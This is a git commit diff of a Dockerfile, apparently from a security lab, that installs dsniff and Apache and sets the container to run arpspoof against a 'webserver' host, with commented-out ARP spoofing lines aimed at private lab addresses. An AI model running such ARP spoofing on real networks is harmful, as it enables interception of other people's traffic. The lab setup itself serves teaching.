[Abandon Partie 1]

This commit is contained in:
iMax 2025-01-21 11:56:00 +01:00
parent 906a9ecb61
commit f49eab2731
14 changed files with 305 additions and 6 deletions

View file

@ -7,9 +7,13 @@ COPY ./index1.html /var/www/html/
RUN apt-get update && apt-get install -y dsniff net-tools apache2 \
&& rm -rf /var/lib/apt/lists/* \
&& a2enmod ssl && a2ensite default-ssl \
&& apache2ctl start
COPY 000-default.conf /etc/apache2/sites-available/000-default.conf
COPY default-ssl.conf /etc/apache2/sites-available/default-ssl.conf
# CMD ["arpspoof", "-i", "eth0", "-t", "172.21.0.4", "-r", "172.21.0.3"]
# arpspoof -i eth0 -t 172.21.0.4 -r 172.21.0.3
CMD ["arpspoof", "-i", "eth0", "-t", "webserver", "-r", "webserver"]